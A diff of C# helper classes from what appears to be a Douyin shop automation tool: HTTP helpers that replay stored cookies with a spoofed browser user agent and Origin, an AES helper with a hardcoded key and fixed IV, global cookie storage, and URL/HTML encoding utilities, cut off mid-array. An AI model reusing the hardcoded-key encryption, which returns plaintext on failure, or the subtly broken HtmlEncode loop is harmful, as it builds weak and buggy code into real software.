using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Helper
|
||||
{
|
||||
public class CommonSimRequest
|
||||
{
|
||||
public string Accept { get; set; } = "application/json, text/plain, */*";
|
||||
public string ContentType { get; set; } = "application/x-www-form-urlencoded";
|
||||
public string UserAgent { get; set; } = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36";
|
||||
public Encoding Encoding { get; set; } = Encoding.UTF8;
|
||||
|
||||
public string Request_Get(string url, string referer, Dictionary<string, string> headers, string cookies)
|
||||
{
|
||||
HttpWebResponse response = null;
|
||||
string responseText = "";
|
||||
if (headers == null)
|
||||
headers = new Dictionary<string, string>();
|
||||
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
|
||||
|
||||
request.KeepAlive = true;
|
||||
request.Accept = Accept;
|
||||
request.UserAgent = UserAgent;
|
||||
request.ContentType = ContentType;
|
||||
foreach (var key in headers.Keys)
|
||||
{
|
||||
request.Headers.Add(key, headers[key]);
|
||||
}
|
||||
request.Referer = referer;
|
||||
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
|
||||
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "en-US,en;q=0.9");
|
||||
request.Headers.Set(HttpRequestHeader.Cookie, cookies);
|
||||
|
||||
response = (HttpWebResponse)request.GetResponse();
|
||||
}
|
||||
catch (WebException e)
|
||||
{
|
||||
if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response;
|
||||
else responseText = "error," + e.Message;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responseText = "error," + ex.Message;
|
||||
}
|
||||
if (response != null)
|
||||
{
|
||||
if (string.IsNullOrEmpty(responseText))
|
||||
responseText = ReadResponse(response, this.Encoding);
|
||||
response.Close();
|
||||
}
|
||||
|
||||
return responseText;
|
||||
}
|
||||
|
||||
public string Request_Post(string url, string referer, Dictionary<string, string> headers, string cookies, string data, bool isSetCommonHeaders = true)
|
||||
{
|
||||
HttpWebResponse response = null;
|
||||
string responseText = "";
|
||||
if (headers == null)
|
||||
headers = new Dictionary<string, string>();
|
||||
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
|
||||
|
||||
request.KeepAlive = true;
|
||||
request.Accept = Accept;
|
||||
request.UserAgent = UserAgent;
|
||||
request.ContentType = ContentType;
|
||||
if (isSetCommonHeaders)
|
||||
{
|
||||
if (!headers.Keys.Contains("Origin"))
|
||||
request.Headers.Add("Origin", @"https://fxg.jinritemai.com/");
|
||||
}
|
||||
foreach (var key in headers.Keys)
|
||||
{
|
||||
request.Headers.Add(key, headers[key]);
|
||||
}
|
||||
request.Referer = referer;
|
||||
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
|
||||
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "en-US,en;q=0.9");
|
||||
request.Headers.Set(HttpRequestHeader.Cookie, cookies);
|
||||
|
||||
request.Method = "POST";
|
||||
request.ServicePoint.Expect100Continue = false;
|
||||
|
||||
string body = data;
|
||||
byte[] postBytes = Encoding.UTF8.GetBytes(body);
|
||||
request.ContentLength = postBytes.Length;
|
||||
Stream stream = request.GetRequestStream();
|
||||
stream.Write(postBytes, 0, postBytes.Length);
|
||||
stream.Close();
|
||||
|
||||
response = (HttpWebResponse)request.GetResponse();
|
||||
}
|
||||
catch (WebException e)
|
||||
{
|
||||
if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response;
|
||||
else responseText = "error," + e.Message;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responseText = "error," + ex.Message;
|
||||
}
|
||||
if (response != null)
|
||||
{
|
||||
if (string.IsNullOrEmpty(responseText))
|
||||
responseText = ReadResponse(response, this.Encoding);
|
||||
response.Close();
|
||||
}
|
||||
|
||||
return responseText;
|
||||
}
|
||||
|
||||
public string Request_PostByBigLength(string url, string referer, Dictionary<string, string> headers, string cookies, string data, bool AcceptEncoding = true, bool isSetCommonHeaders = true)
|
||||
{
|
||||
HttpWebResponse response = null;
|
||||
string responseText = "";
|
||||
if (headers == null)
|
||||
headers = new Dictionary<string, string>();
|
||||
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
|
||||
|
||||
request.KeepAlive = true;
|
||||
request.Accept = Accept;
|
||||
request.UserAgent = UserAgent;
|
||||
request.UserAgent = AllBase.BaseClass.ChromeUserAgent;
|
||||
request.ContentType = ContentType;
|
||||
if (isSetCommonHeaders)
|
||||
{
|
||||
if (!headers.Keys.Contains("Origin"))
|
||||
request.Headers.Add("Origin", @"https://fxg.jinritemai.com");
|
||||
}
|
||||
foreach (var key in headers.Keys)
|
||||
{
|
||||
request.Headers.Add(key, headers[key]);
|
||||
}
|
||||
request.Referer = referer;
|
||||
if (AcceptEncoding)
|
||||
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "deflate");
|
||||
else
|
||||
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
|
||||
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
|
||||
request.Headers.Set(HttpRequestHeader.Cookie, cookies);
|
||||
|
||||
request.Method = "POST";
|
||||
request.ServicePoint.Expect100Continue = false;
|
||||
|
||||
string body = data;
|
||||
byte[] postBytes = Encoding.UTF8.GetBytes(body);
|
||||
request.ContentLength = postBytes.Length;
|
||||
Stream stream = request.GetRequestStream();
|
||||
stream.Write(postBytes, 0, postBytes.Length);
|
||||
stream.Close();
|
||||
|
||||
response = (HttpWebResponse)request.GetResponse();
|
||||
}
|
||||
catch (WebException e)
|
||||
{
|
||||
if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response;
|
||||
else responseText = "error," + e.Message;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responseText = "error," + ex.Message;
|
||||
}
|
||||
if (response != null)
|
||||
{
|
||||
if (string.IsNullOrEmpty(responseText))
|
||||
responseText = ReadResponse(response, this.Encoding);
|
||||
response.Close();
|
||||
}
|
||||
|
||||
return responseText;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 读取返回值
|
||||
/// </summary>
|
||||
/// <param name="response"></param>
|
||||
/// <returns></returns>
|
||||
public static string ReadResponse(HttpWebResponse response, Encoding encoding = null)
|
||||
{
|
||||
if (encoding == null)
|
||||
encoding = Encoding.UTF8;
|
||||
using (Stream responseStream = response.GetResponseStream())
|
||||
{
|
||||
Stream streamToRead = responseStream;
|
||||
if (response.ContentEncoding.ToLower().Contains("gzip"))
|
||||
{
|
||||
streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress);
|
||||
}
|
||||
else if (response.ContentEncoding.ToLower().Contains("deflate"))
|
||||
{
|
||||
streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress);
|
||||
}
|
||||
|
||||
using (StreamReader streamReader = new StreamReader(streamToRead, encoding))
|
||||
{
|
||||
return streamReader.ReadToEnd();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Helper
|
||||
{
|
||||
|
||||
public class DataOpenSSL
|
||||
{
|
||||
public static byte[] key = new byte[32] { 145, 232, 156, 201, 201, 0, 42, 184, 222, 111, 109, 49, 226, 169, 9, 44, 151, 148, 143, 120, 62, 84, 30, 170, 127, 242, 20, 141, 231, 33, 230, 6 };
|
||||
public static byte[] iv = new byte[16] { 113, 6, 75, 177, 160, 112, 73, 39, 178, 147, 82, 107, 186, 58, 144, 187 };
|
||||
|
||||
public static string EncryptString(string plainText)
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
// Instantiate a new Aes object to perform string symmetric encryption
|
||||
Aes encryptor = Aes.Create();
|
||||
|
||||
encryptor.Mode = CipherMode.CBC;
|
||||
|
||||
// Set key and IV
|
||||
byte[] aesKey = new byte[32];
|
||||
Array.Copy(key, 0, aesKey, 0, 32);
|
||||
encryptor.Key = aesKey;
|
||||
encryptor.IV = iv;
|
||||
|
||||
// Instantiate a new MemoryStream object to contain the encrypted bytes
|
||||
MemoryStream memoryStream = new MemoryStream();
|
||||
|
||||
// Instantiate a new encryptor from our Aes object
|
||||
ICryptoTransform aesEncryptor = encryptor.CreateEncryptor();
|
||||
|
||||
// Instantiate a new CryptoStream object to process the data and write it to the
|
||||
// memory stream
|
||||
CryptoStream cryptoStream = new CryptoStream(memoryStream, aesEncryptor, CryptoStreamMode.Write);
|
||||
|
||||
// Convert the plainText string into a byte array
|
||||
byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);
|
||||
|
||||
// Encrypt the input plaintext string
|
||||
cryptoStream.Write(plainBytes, 0, plainBytes.Length);
|
||||
|
||||
// Complete the encryption process
|
||||
cryptoStream.FlushFinalBlock();
|
||||
|
||||
// Convert the encrypted data from a MemoryStream to a byte array
|
||||
byte[] cipherBytes = memoryStream.ToArray();
|
||||
|
||||
// Close both the MemoryStream and the CryptoStream
|
||||
memoryStream.Close();
|
||||
cryptoStream.Close();
|
||||
|
||||
// Convert the encrypted byte array to a base64 encoded string
|
||||
string cipherText = Convert.ToBase64String(cipherBytes, 0, cipherBytes.Length);
|
||||
|
||||
|
||||
cipherText = cipherText.Replace("+", "-").Replace("/", "_").Replace("=", "");
|
||||
|
||||
// Return the encrypted data as a string
|
||||
return cipherText;
|
||||
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
|
||||
//throw;
|
||||
}
|
||||
return plainText;
|
||||
}
|
||||
|
||||
public static string DecryptString(string cipherText)
|
||||
{
|
||||
cipherText = cipherText.Replace("-", "+").Replace("_", "/");
|
||||
var x1 = cipherText.Length % 4;
|
||||
if (x1 > 0)
|
||||
{
|
||||
cipherText = cipherText + "====".Substring(x1);
|
||||
}
|
||||
// Instantiate a new Aes object to perform string symmetric encryption
|
||||
Aes encryptor = Aes.Create();
|
||||
|
||||
encryptor.Mode = CipherMode.CBC;
|
||||
|
||||
// Set key and IV
|
||||
byte[] aesKey = new byte[32];
|
||||
Array.Copy(key, 0, aesKey, 0, 32);
|
||||
encryptor.Key = aesKey;
|
||||
encryptor.IV = iv;
|
||||
|
||||
// Instantiate a new MemoryStream object to contain the encrypted bytes
|
||||
MemoryStream memoryStream = new MemoryStream();
|
||||
|
||||
// Instantiate a new encryptor from our Aes object
|
||||
ICryptoTransform aesDecryptor = encryptor.CreateDecryptor();
|
||||
|
||||
// Instantiate a new CryptoStream object to process the data and write it to the
|
||||
// memory stream
|
||||
CryptoStream cryptoStream = new CryptoStream(memoryStream, aesDecryptor, CryptoStreamMode.Write);
|
||||
|
||||
// Will contain decrypted plaintext
|
||||
string plainText = String.Empty;
|
||||
|
||||
try
|
||||
{
|
||||
// Convert the ciphertext string into a byte array
|
||||
byte[] cipherBytes = Convert.FromBase64String(cipherText);
|
||||
|
||||
// Decrypt the input ciphertext string
|
||||
cryptoStream.Write(cipherBytes, 0, cipherBytes.Length);
|
||||
|
||||
// Complete the decryption process
|
||||
cryptoStream.FlushFinalBlock();
|
||||
|
||||
// Convert the decrypted data from a MemoryStream to a byte array
|
||||
byte[] plainBytes = memoryStream.ToArray();
|
||||
|
||||
// Convert the decrypted byte array to string
|
||||
plainText = Encoding.UTF8.GetString(plainBytes, 0, plainBytes.Length);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
|
||||
//throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
// Close both the MemoryStream and the CryptoStream
|
||||
memoryStream.Close();
|
||||
cryptoStream.Close();
|
||||
}
|
||||
|
||||
// Return the decrypted data as a string
|
||||
return plainText;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Helper
|
||||
{
|
||||
public class FissionDataBaseConfig
|
||||
{
|
||||
public static List<string> CateList = new List<string>(); // 产品数据库分组名称列表
|
||||
public static List<string> MainCateList = new List<string>(); // 主类目列表
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
using AllBase.Model.Param.CollectManage;
|
||||
using AllBase.Model.Param.ProductManage;
|
||||
using AllBase.Model.Param.ShopManage;
|
||||
using AllBase.Model.Result;
|
||||
using NaiBa.Util;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Helper
|
||||
{
|
||||
public class GlobalConfig
|
||||
{
|
||||
/// <summary>
|
||||
/// 店铺列表
|
||||
/// </summary>
|
||||
public static ConcurrentList<DouShopLoginInfo> DouShopLoginList { get; set; } = new ConcurrentList<DouShopLoginInfo>();
|
||||
/// <summary>
|
||||
/// 非当前账户下的店铺列表
|
||||
/// </summary>
|
||||
public static ConcurrentList<DouShopLoginInfo> DouShopLoginOtherAccountList { get; set; }
|
||||
/// <summary>
|
||||
/// 店铺设置参数
|
||||
/// </summary>
|
||||
public static DouShopSettingParam DouShopSettingParam { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// 抖音号cookie
|
||||
/// </summary>
|
||||
public static string DouUserCookies { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// 巨量百应cookies
|
||||
/// </summary>
|
||||
public static string DouBuyinCookies { get; set; }
|
||||
|
||||
public static IDictionary<string, object> dicLocalStorage { get; set; }
|
||||
|
||||
public static IDictionary<string, object> dicLocalDetailStorage { get; set; }
|
||||
|
||||
public static FissionSettingParam FissionSettingParam { get; set; }
|
||||
|
||||
public static string cAgentIpCode { get; } = "AFZ94w3a";
|
||||
|
||||
public static List<SameProductCheckParam> SameProductCheckParamList { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,489 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class HttpUtility
|
||||
{
|
||||
// Fields
|
||||
private static char[] _htmlEntityEndingChars = new char[] { ';', '&' };
|
||||
|
||||
//Methods
|
||||
public static string UrlEncode(string str, Encoding e)
|
||||
{
|
||||
if (str == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
return Encoding.ASCII.GetString(UrlEncodeToBytes(str, e));
|
||||
}
|
||||
|
||||
public static byte[] UrlEncodeToBytes(string str, Encoding e)
|
||||
{
|
||||
if (str == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] bytes = e.GetBytes(str);
|
||||
return UrlEncode(bytes, 0, bytes.Length);
|
||||
}
|
||||
|
||||
static byte[] UrlEncode(byte[] bytes, int offset, int count)
|
||||
{
|
||||
int num = 0;
|
||||
int num2 = 0;
|
||||
for (int i = 0; i < count; i++)
|
||||
{
|
||||
char ch = (char)bytes[offset + i];
|
||||
if (ch == ' ')
|
||||
{
|
||||
num++;
|
||||
}
|
||||
else if (!IsUrlSafeChar(ch))
|
||||
{
|
||||
num2++;
|
||||
}
|
||||
}
|
||||
if ((num == 0) && (num2 == 0))
|
||||
{
|
||||
return bytes;
|
||||
}
|
||||
byte[] buffer = new byte[count + (num2 * 2)];
|
||||
int num4 = 0;
|
||||
for (int j = 0; j < count; j++)
|
||||
{
|
||||
byte num6 = bytes[offset + j];
|
||||
char ch2 = (char)num6;
|
||||
if (IsUrlSafeChar(ch2))
|
||||
{
|
||||
buffer[num4++] = num6;
|
||||
}
|
||||
else if (ch2 == ' ')
|
||||
{
|
||||
buffer[num4++] = 0x2b;
|
||||
}
|
||||
else
|
||||
{
|
||||
buffer[num4++] = 0x25;
|
||||
buffer[num4++] = (byte)IntToHex((num6 >> 4) & 15);
|
||||
buffer[num4++] = (byte)IntToHex(num6 & 15);
|
||||
}
|
||||
}
|
||||
return buffer;
|
||||
}
|
||||
|
||||
public static bool IsUrlSafeChar(char ch)
|
||||
{
|
||||
if ((((ch >= 'a') && (ch <= 'z')) || ((ch >= 'A') && (ch <= 'Z'))) || ((ch >= '0') && (ch <= '9')))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
switch (ch)
|
||||
{
|
||||
case '(':
|
||||
case ')':
|
||||
case '*':
|
||||
case '-':
|
||||
case '.':
|
||||
case '_':
|
||||
case '!':
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
public static char IntToHex(int n)
|
||||
{
|
||||
if (n <= 9)
|
||||
{
|
||||
return (char)(n + 0x30);
|
||||
}
|
||||
return (char)((n - 10) + 0x61);
|
||||
}
|
||||
static public string UrlDecode(string value)
|
||||
{
|
||||
if (value == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
Encoding encoding = Encoding.UTF8;//你的编码 也可能是GBK
|
||||
int length = value.Length;
|
||||
UrlDecoder decoder = new UrlDecoder(length, encoding);
|
||||
for (int i = 0; i < length; i++)
|
||||
{
|
||||
char ch = value[i];
|
||||
if (ch == '+')
|
||||
{
|
||||
ch = ' ';
|
||||
}
|
||||
else if ((ch == '%') && (i < (length - 2)))
|
||||
{
|
||||
if ((value[i + 1] == 'u') && (i < (length - 5)))
|
||||
{
|
||||
int num3 = HexToInt(value[i + 2]);
|
||||
int num4 = HexToInt(value[i + 3]);
|
||||
int num5 = HexToInt(value[i + 4]);
|
||||
int num6 = HexToInt(value[i + 5]);
|
||||
if (((num3 < 0) || (num4 < 0)) || ((num5 < 0) || (num6 < 0)))
|
||||
{
|
||||
goto Label_010B;
|
||||
}
|
||||
ch = (char)((((num3 << 12) | (num4 << 8)) | (num5 << 4)) | num6);
|
||||
i += 5;
|
||||
decoder.AddChar(ch);
|
||||
continue;
|
||||
}
|
||||
int num7 = HexToInt(value[i + 1]);
|
||||
int num8 = HexToInt(value[i + 2]);
|
||||
if ((num7 >= 0) && (num8 >= 0))
|
||||
{
|
||||
byte b = (byte)((num7 << 4) | num8);
|
||||
i += 2;
|
||||
decoder.AddByte(b);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
Label_010B:
|
||||
if ((ch & 0xff80) == 0)
|
||||
{
|
||||
decoder.AddByte((byte)ch);
|
||||
}
|
||||
else
|
||||
{
|
||||
decoder.AddChar(ch);
|
||||
}
|
||||
}
|
||||
return decoder.GetString();
|
||||
}
|
||||
|
||||
public static int HexToInt(char h)
|
||||
{
|
||||
if ((h >= '0') && (h <= '9'))
|
||||
{
|
||||
return (h - '0');
|
||||
}
|
||||
if ((h >= 'a') && (h <= 'f'))
|
||||
{
|
||||
return ((h - 'a') + 10);
|
||||
}
|
||||
if ((h >= 'A') && (h <= 'F'))
|
||||
{
|
||||
return ((h - 'A') + 10);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
///////////////////////////
|
||||
public static string HtmlEncode(string value)
|
||||
{
|
||||
if (string.IsNullOrEmpty(value))
|
||||
{
|
||||
return value;
|
||||
}
|
||||
|
||||
StringWriter output = new StringWriter(CultureInfo.InvariantCulture);
|
||||
HtmlEncode(value, output);
|
||||
return output.ToString();
|
||||
}
|
||||
|
||||
public static unsafe void HtmlEncode(string value, TextWriter output)
|
||||
{
|
||||
if (value != null)
|
||||
{
|
||||
if (output == null)
|
||||
{
|
||||
throw new ArgumentNullException("output");
|
||||
}
|
||||
int num = IndexOfHtmlEncodingChars(value, 0);
|
||||
if (num == -1)
|
||||
{
|
||||
output.Write(value);
|
||||
}
|
||||
else
|
||||
{
|
||||
int num2 = value.Length - num;
|
||||
fixed (char* str = (value.ToCharArray()))
|
||||
{
|
||||
char* chPtr = str;
|
||||
char* chPtr2 = chPtr;
|
||||
while (num-- > 0)
|
||||
{
|
||||
chPtr2++;
|
||||
output.Write(chPtr2[0]);
|
||||
}
|
||||
while (num2-- > 0)
|
||||
{
|
||||
chPtr2++;
|
||||
char ch = chPtr2[0];
|
||||
if (ch <= '>')
|
||||
{
|
||||
switch (ch)
|
||||
{
|
||||
case '&':
|
||||
{
|
||||
output.Write("&");
|
||||
continue;
|
||||
}
|
||||
case '\'':
|
||||
{
|
||||
output.Write("'");
|
||||
continue;
|
||||
}
|
||||
case '"':
|
||||
{
|
||||
output.Write(""");
|
||||
continue;
|
||||
}
|
||||
case '<':
|
||||
{
|
||||
output.Write("<");
|
||||
continue;
|
||||
}
|
||||
case '>':
|
||||
{
|
||||
output.Write(">");
|
||||
continue;
|
||||
}
|
||||
}
|
||||
output.Write(ch);
|
||||
continue;
|
||||
}
|
||||
if ((ch >= '\x00a0') && (ch < 'Ā'))
|
||||
{
|
||||
output.Write("&#");
|
||||
output.Write(ch.ToString(NumberFormatInfo.InvariantInfo));
|
||||
output.Write(';');
|
||||
}
|
||||
else
|
||||
{
|
||||
output.Write(ch);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
public static string HtmlDecode(string value)
|
||||
{
|
||||
if (string.IsNullOrEmpty(value))
|
||||
{
|
||||
return value;
|
||||
}
|
||||
|
||||
StringWriter output = new StringWriter(CultureInfo.InvariantCulture);
|
||||
HtmlDecode(value, output);
|
||||
return output.ToString();
|
||||
}
|
||||
|
||||
public static void HtmlDecode(string value, TextWriter output)
|
||||
{
|
||||
if (value != null)
|
||||
{
|
||||
if (output == null)
|
||||
{
|
||||
throw new ArgumentNullException("output");
|
||||
}
|
||||
if (value.IndexOf('&') < 0)
|
||||
{
|
||||
output.Write(value);
|
||||
}
|
||||
else
|
||||
{
|
||||
int length = value.Length;
|
||||
for (int i = 0; i < length; i++)
|
||||
{
|
||||
char ch = value[i];
|
||||
if (ch == '&')
|
||||
{
|
||||
int num3 = value.IndexOfAny(_htmlEntityEndingChars, i + 1);
|
||||
if ((num3 > 0) && (value[num3] == ';'))
|
||||
{
|
||||
string entity = value.Substring(i + 1, (num3 - i) - 1);
|
||||
if ((entity.Length > 1) && (entity[0] == '#'))
|
||||
{
|
||||
ushort num4;
|
||||
if ((entity[1] == 'x') || (entity[1] == 'X'))
|
||||
{
|
||||
ushort.TryParse(entity.Substring(2), NumberStyles.AllowHexSpecifier, (IFormatProvider)NumberFormatInfo.InvariantInfo, out num4);
|
||||
}
|
||||
else
|
||||
{
|
||||
ushort.TryParse(entity.Substring(1), NumberStyles.Integer, (IFormatProvider)NumberFormatInfo.InvariantInfo, out num4);
|
||||
}
|
||||
if (num4 != 0)
|
||||
{
|
||||
ch = (char)num4;
|
||||
i = num3;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
i = num3;
|
||||
char ch2 = HtmlEntities.Lookup(entity);
|
||||
if (ch2 != '\0')
|
||||
{
|
||||
ch = ch2;
|
||||
}
|
||||
else
|
||||
{
|
||||
output.Write('&');
|
||||
output.Write(entity);
|
||||
output.Write(';');
|
||||
goto Label_0117;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
output.Write(ch);
|
||||
Label_0117: ;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static unsafe int IndexOfHtmlEncodingChars(string s, int startPos)
|
||||
{
|
||||
int num = s.Length - startPos;
|
||||
fixed (char* str = (s.ToCharArray()))
|
||||
{
|
||||
char* chPtr = str;
|
||||
char* chPtr2 = chPtr + startPos;
|
||||
while (num > 0)
|
||||
{
|
||||
char ch = chPtr2[0];
|
||||
if (ch <= '>')
|
||||
{
|
||||
switch (ch)
|
||||
{
|
||||
case '&':
|
||||
case '\'':
|
||||
case '"':
|
||||
case '<':
|
||||
case '>':
|
||||
return (s.Length - num);
|
||||
|
||||
case '=':
|
||||
goto Label_0086;
|
||||
}
|
||||
}
|
||||
else if ((ch >= '\x00a0') && (ch < 'Ā'))
|
||||
{
|
||||
return (s.Length - num);
|
||||
}
|
||||
Label_0086:
|
||||
chPtr2++;
|
||||
num--;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
}
|
||||
/// <summary>
|
||||
/// class UrlDecoder
|
||||
/// </summary>
|
||||
class UrlDecoder
|
||||
{
|
||||
// Fields
|
||||
private int _bufferSize;
|
||||
private byte[] _byteBuffer;
|
||||
private char[] _charBuffer;
|
||||
private Encoding _encoding;
|
||||
private int _numBytes;
|
||||
private int _numChars;
|
||||
|
||||
// Methods
|
||||
internal UrlDecoder(int bufferSize, Encoding encoding)
|
||||
{
|
||||
this._bufferSize = bufferSize;
|
||||
this._encoding = encoding;
|
||||
this._charBuffer = new char[bufferSize];
|
||||
}
|
||||
|
||||
internal void AddByte(byte b)
|
||||
{
|
||||
if (this._byteBuffer == null)
|
||||
{
|
||||
this._byteBuffer = new byte[this._bufferSize];
|
||||
}
|
||||
this._byteBuffer[this._numBytes++] = b;
|
||||
}
|
||||
|
||||
internal void AddChar(char ch)
|
||||
{
|
||||
if (this._numBytes > 0)
|
||||
{
|
||||
this.FlushBytes();
|
||||
}
|
||||
this._charBuffer[this._numChars++] = ch;
|
||||
}
|
||||
|
||||
private void FlushBytes()
|
||||
{
|
||||
if (this._numBytes > 0)
|
||||
{
|
||||
this._numChars += this._encoding.GetChars(this._byteBuffer, 0, this._numBytes, this._charBuffer, this._numChars);
|
||||
this._numBytes = 0;
|
||||
}
|
||||
}
|
||||
|
||||
internal string GetString()
|
||||
{
|
||||
if (this._numBytes > 0)
|
||||
{
|
||||
this.FlushBytes();
|
||||
}
|
||||
if (this._numChars > 0)
|
||||
{
|
||||
return new string(this._charBuffer, 0, this._numChars);
|
||||
}
|
||||
return string.Empty;
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// class HtmlEntities
|
||||
/// </summary>
|
||||
static class HtmlEntities
|
||||
{
|
||||
// Fields
|
||||
private static string[] _entitiesList = new string[] {
|
||||
"\"-quot", "&-amp", "'-apos", "<-lt", ">-gt", "\x00a0-nbsp", "\x00a1-iexcl", "\x00a2-cent", "\x00a3-pound", "\x00a4-curren", "\x00a5-yen", "\x00a6-brvbar", "\x00a7-sect", "\x00a8-uml", "\x00a9-copy", "\x00aa-ordf",
|
||||
"\x00ab-laquo", "\x00ac-not", "\x00ad-shy", "\x00ae-reg", "\x00af-macr", "\x00b0-deg", "\x00b1-plusmn", "\x00b2-sup2", "\x00b3-sup3", "\x00b4-acute", "\x00b5-micro", "\x00b6-para", "\x00b7-middot", "\x00b8-cedil", "\x00b9-sup1", "\x00ba-ordm",
|
||||
"\x00bb-raquo", "\x00bc-frac14", "\x00bd-frac12", "\x00be-frac34", "\x00bf-iquest", "\x00c0-Agrave", "\x00c1-Aacute", "\x00c2-Acirc", "\x00c3-Atilde", "\x00c4-Auml", "\x00c5-Aring", "\x00c6-AElig", "\x00c7-Ccedil", "\x00c8-Egrave", "\x00c9-Eacute", "\x00ca-Ecirc",
|
||||
"\x00cb-Euml", "\x00cc-Igrave", "\x00cd-Iacute", "\x00ce-Icirc", "\x00cf-Iuml", "\x00d0-ETH", "\x00d1-Ntilde", "\x00d2-Ograve", "\x00d3-Oacute", "\x00d4-Ocirc", "\x00d5-Otilde", "\x00d6-Ouml", "\x00d7-times", "\x00d8-Oslash", "\x00d9-Ugrave", "\x00da-Uacute",
|
||||
"\x00db-Ucirc", "\x00dc-Uuml", "\x00dd-Yacute", "\x00de-THORN", "\x00df-szlig", "\x00e0-agrave", "\x00e1-aacute", "\x00e2-acirc", "\x00e3-atilde", "\x00e4-auml", "\x00e5-aring", "\x00e6-aelig", "\x00e7-ccedil", "\x00e8-egrave", "\x00e9-eacute", "\x00ea-ecirc",
|
||||
"\x00eb-euml", "\x00ec-igrave", "\x00ed-iacute", "\x00ee-icirc", "\x00ef-iuml", "\x00f0-eth", "\x00f1-ntilde", "\x00f2-ograve", "\x00f3-oacute", "\x00f4-ocirc", "\x00f5-otilde", "\x00f6-ouml", "\x00f7-divide", "\x00f8-oslash", "\x00f9-ugrave", "\x00fa-uacute",
|
||||
"\x00fb-ucirc", "\x00fc-uuml", "\x00fd-yacute", "\x00fe-thorn", "\x00ff-yuml", "Œ-OElig", "œ-oelig", "Š-Scaron", "š-scaron", "Ÿ-Yuml", "ƒ-fnof", "ˆ-circ", "˜-tilde", "Α-Alpha", "Β-Beta", "Γ-Gamma",
|
||||
"Δ-Delta", "Ε-Epsilon", "Ζ-Zeta", "Η-Eta", "Θ-Theta", "Ι-Iota", "Κ-Kappa", "Λ-Lambda", "Μ-Mu", "Ν-Nu", "Ξ-Xi", "Ο-Omicron", "Π-Pi", "Ρ-Rho", "Σ-Sigma", "Τ-Tau",
|
||||
"Υ-Upsilon", "Φ-Phi", "Χ-Chi", "Ψ-Psi", "Ω-Omega", "α-alpha", "β-beta", "γ-gamma", "δ-delta", "ε-epsilon", "ζ-zeta", "η-eta", "θ-theta", "ι-iota", "κ-kappa", "λ-lambda",
|
||||
"μ-mu", "ν-nu", "ξ-xi", "ο-omicron", "π-pi", "ρ-rho", "ς-sigmaf", "σ-sigma", "τ-tau", "υ-upsilon", "φ-phi", "χ-chi", "ψ-psi", "ω-omega", "ϑ-thetasym", "ϒ-upsih",
|
||||
"ϖ-piv", " -ensp", " -emsp", " -thinsp", "-zwnj", "-zwj", "-lrm", "-rlm", "–-ndash", "—-mdash", "‘-lsquo", "’-rsquo", "‚-sbquo", "“-ldquo", "”-rdquo", "„-bdquo",
|
||||
